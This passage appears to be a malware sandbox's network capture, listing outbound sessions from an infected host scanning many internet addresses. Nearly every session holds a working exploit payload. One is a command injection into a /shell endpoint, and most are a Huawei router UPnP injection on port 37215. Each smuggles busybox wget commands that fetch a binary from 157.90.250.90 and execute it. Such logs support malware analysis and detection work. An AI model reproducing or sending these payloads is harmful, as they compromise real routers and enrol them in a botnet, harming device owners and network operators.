Dec 3, 2024 22:11:52.406697035 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.23	42318	167.115.243.47	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:11:52.407361984 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.23	40116	156.124.60.241	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:11:53.129578114 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.23	36106	156.86.224.106	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:11:53.130451918 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.23	55898	197.102.76.136	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:11:53.131073952 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.23	49640	41.152.245.211	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:11:53.131700993 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.23	39918	156.37.11.97	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:11:53.132340908 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.23	57150	197.115.231.209	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:11:53.132992029 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.23	59654	156.214.207.66	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:11:53.133585930 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.23	59548	197.120.15.57	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:11:53.134180069 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.23	34314	197.194.225.14	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:11:53.134821892 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.23	41286	197.138.48.81	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:11:53.135409117 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.23	54892	197.55.121.154	37215

Timestamp	Bytes transferred	Direction	Data
